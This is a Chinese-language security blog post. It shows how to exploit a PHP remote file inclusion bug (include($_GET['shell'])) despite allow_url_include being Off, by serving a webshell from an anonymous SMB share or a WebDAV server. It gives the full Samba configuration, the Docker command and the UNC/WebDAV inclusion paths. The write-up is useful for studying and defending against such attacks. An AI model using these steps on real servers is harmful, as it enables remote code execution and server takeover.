前言
下面介绍的两个姿势都是先知群里面get到的,这里记录一下,给先知的师傅们倒茶。
绕过思路
假设我们有一个这样的代码1
2
3
include($_GET["shell"]);
我们发现通过phpinfo
发现allow_url_fopen=Off
和allow_url_include=Off
用常规的方法直接包含一个远程文件肯定是不行的
所以我们得想办法绕过allow_url_fopen=Off
和allow_url_include=Off
的限制
第一种姿势:利用SMB
文件共享服务
对于PHP而言即使allow_url_include
和allow_url_fopen
都设置为Off
,PHP也会加载SMB URL。所以我们可以配合SMB
远程加载我们的webshell
,我们同时要设置SMB
共享服务器允许外部访问我们的webshell
文件,所以我们需要配置一个具有匿名浏览访问权限的SMB服务器,一旦受害者尝试访问我们的SMB
服务器上的webshell
,我们的SMB
服务器将不会请求任何凭证,受害者就会包含我们的SMB
服务器上的webshell文件
SAMBA服务器配置
Samba是在Linux和UNIX系统上实现SMB协议的一个软件
安装SAMBA1
apt-get install samba
创建SMB共享目录1
mkdir /var/www/html/share/
配置新创建的SMB共享目录的权限1
2chmod 0555 /var/www/html/share/
chown -R nobody:nogroup /var/www/html/share/
清空/etc/samba/smb.conf
文件中的内容1
echo > /etc/samba/smb.conf
将下面内容粘贴到/etc/samba/smb.conf
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ica]
path = /var/www/html/share
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
重启smb
服务1
service smbd restart
然后访问一下,发现可以正常访问
\\192.168.163.128\ica\shell.php
内容为:
尝试包含一波,成功包含
小结
这种方法还是比较局限的,因为这种unc
只能是在windows下使用,而且国内的运营商对smb
还是比较敏感的,毕竟被勒索病毒搞怕了/捂脸。。。。。
第二种姿势:利用webdav
PS:这个思路是Lz1y师傅在ph师傅小密圈提到的,tql
利用条件:依赖于Windows的webclient服务,需要在目标环境开启sc start webclient服务才能利用
用docker启动一个webdav服务器(ph师傅给的)1
docker run -v ~/webdav:/var/lib/dav -e ANONYMOUS_METHODS=GET,OPTIONS,PROPFIND -e LOCATION=/webdav -p 80:80 --rm --name webdav bytemark/webdav
然后把php文件放到~/webdav/data
里面
尝试包含,包含成功
注意包含的路径是//ip//webdav/shell.php
而不是//ip/webdav/shell.php
,至于为什么呢我也不是很清楚,如果是用浏览器直接打开的话两种方式都可以,但是不知道为啥放在php
上后者的那种方式就不行了,有知道的师傅还请不吝赐教。
Reference
http://www.mannulinux.org/2019/05/exploiting-rfi-in-php-bypass-remote-url-inclusion-restriction.html